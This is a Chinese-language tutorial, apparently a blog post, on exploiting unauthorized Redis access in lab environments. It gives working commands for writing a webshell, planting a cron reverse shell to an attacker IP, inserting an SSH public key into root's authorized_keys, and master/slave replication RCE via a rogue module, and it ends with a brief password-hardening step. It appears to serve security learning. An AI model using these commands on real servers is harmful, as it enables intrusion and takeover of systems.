Redis未授权访问漏洞分析及其防范策略

引言

  1. 未授权访问漏洞介绍

未授权访问漏洞是一种常见的网络安全漏洞,它允许攻击者未经授权地访问系统资源。这种漏洞通常是由于系统配置错误或缺乏适当的安全措施导致的。

未授权访问漏洞可能存在于各种系统和应用程序中,包括数据库、Web服务器、文件存储系统等。其中,Redis未授权访问漏洞是一个典型的例子,它允许攻击者未经授权地访问Redis服务器,执行任意命令,导致数据泄露或服务器被入侵。

除了Redis,其他系统和应用程序也可能存在未授权访问漏洞,如MongoDB、Elasticsearch等。因此,了解未授权访问漏洞的总体规则及其防范策略对于保障网络安全至关重要。

  1. 原理

Redis未授权访问漏洞主要是由于Redis的默认配置不安全导致的。

在默认情况下,Redis没有启用认证机制,也没有限制访问来源,任何能够访问Redis服务器的用户都可以直接操作Redis数据库。

此外,Redis的某些命令(如CONFIG)可以修改Redis的配置文件,如果攻击者能够执行这些命令,就可以进一步控制Redis服务器。

Redis

使用win下载redis客户端并进行连接

下载地址:Releases · microsoftarchive/redis

使用redis-cli -h 192.168.109.147 -p 6379连接数据库

常用命令

  • info:获取Redis服务器的信息和统计信息,包括服务器版本、内存使用情况、客户端连接数等。
  • set key value:设置给定键的值为字符串值,如果键已经存在,则覆盖原有的值。
  • get key:获取给定键的字符串值,如果键不存在,则返回nil。
  • config set key value:动态地调整Redis服务器的配置,无需重启服务。这个命令可以修改运行时的配置参数。
  • config get key:获取Redis服务器的配置参数值,可以查询特定的配置项或者使用星号(*)获取所有配置信息。
  • flushall:删除所有数据库中的所有键值对,这个操作是不可逆的,将会清除所有数据。需要注意的是,flushall命令仅清除数据库中的数据,不会影响Redis配置文件中的配置项。

未授权写webshell

如果目标主机开启了WEB服务,那么就可以利用redis未授权写入webshell

config set dir /var/www/html/
config set dbfilename info.php
set xxx “
save

未授权任务计划反弹shell

1
2
3
4
5
6
# /dev/tcp/<ip>/30001 攻击机IP地址
flushall
set xx "\n* * * * * bash -i >& /dev/tcp/192.168.109.1/30001 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

定时任务已经保存在 /var/spool/cron/root

攻击机上使用 ncat -lvp 30001 监听30001端口(需要下载nmap)

ssh公钥免密登入服务器

环境搭建

项目地址:VulApps/r/redis/1 at master · Medicean/VulApps — VulApps/r/redis/1 at master · Medicean/VulApps

靶机上使用命令 docker pull medicean/vulapps:r_redis_1 将镜像拉取到本地

启动环境 docker run --name=redisvul -d -p 22:22 -p 6379:6379 medicean/vulapps:r_redis_1

流程复现

  1. 攻击方使用 ssh-keygen -t rsa 生成公私钥

  2. 将生成的公钥保存在Redis键值对中

1
2
3
4
5
6
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt
cat /tmp/foo.txt | redis-cli -h 192.168.109.147 -p 6379 -x set crackit
# 将公钥前后加两个换行符输出到foot.txt文件中
# (echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt
# "|"将第一个命令的输出作为第二个命令的输入,将foot.txt文件内容保存在Redis的crackit中
# cat /tmp/foo.txt | redis-cli -h 192.168.109.147 -p 6379 -x set crackit
  1. 将公钥保存在服务器中

连接Redis redis-cli -h 192.168.109.147 -p 6379

get crackit 查看保存的公钥

设置保存位置并保存

1
2
3
config set dir /root/.ssh/
config set dbfilename "authorized_keys"
save

此时docker靶机中已经有了我们的公钥

尝试使用 ssh root@192.168.109.147 连接服务器ssh

利用主从复制实现RCE

主从复制介绍

Redis主从复制机制

Redis主从复制允许一个Redis服务器(主节点)将数据同步给一个或多个Redis服务器(从节点)。这个过程是自动的,通常用于数据备份、读写分离和故障转移等场景。

主从复制的步骤

  1. 建立连接:从节点向主节点发送SYNC命令。
  2. 数据同步:主节点开始执行BGSAVE命令,生成一个RDB文件,并使用缓冲区记录此后执行的所有写命令。完成后,主节点将RDB文件和缓冲区中的命令发送给从节点。
  3. 命令传播:同步完成后,主节点每执行一个写命令,都会向从节点发送相同的写命令,保持数据的一致性。

滥用主从复制机制进行RCE

在未授权访问的情况下,攻击者可以利用主从复制机制执行以下步骤来实现远程代码执行(RCE):

  1. 配置恶意主节点:攻击者可以设置一个恶意Redis服务器作为主节点。
  2. 触发主从复制:攻击者通过未授权访问的Redis服务器,将其配置为从节点,并指向恶意主节点。
  3. 执行远程命令:由于主从复制过程中,主节点的RDB文件和命令缓冲区会被从节点执行,攻击者可以在恶意主节点的RDB文件中包含特殊的Redis命令或Lua脚本,这些命令或脚本在从节点上执行时,可以实现RCE。

流程复现

==适用于<-Redis 5.0.5==

下载地址:vulhub/vulhub: Pre-Built Vulnerable Environments Based on Docker-Compose

下载完成后进入 vulhub-master/redis/4-unacc 执行命令 docker-compose up -d

POC下载地址:vulhub/redis-rogue-getshell:redis 4.x/5.x 主/从 getshell 模块 — vulhub/redis-rogue-getshell: redis 4.x/5.x master/slave getshell module

下载完成后需要进入 RedisModulesSDK 文件夹使用 make 编译(win下默认没有sys/wait.h,所以需要再linux下进行编译),编译好的文件为 exp.so

1
2
3
4
5
6
python redis-master.py -r 192.168.109.147 -p 6379 -L 192.168.109.1 -P 8888 -f RedisModulesSDK\exp.so -c "ls"
# -r:目标IP
# -L:本地IP
# -p:Redis端口
# -P:本地监听端口
# -c:command

执行后可以看到命令执行结果

防范策略

手动给redis加上密码,并进行一下安全性配置

vi /etc/redis.conf

这时候就不可以查看info,需要认证

使用AUTH <password>即可成功认证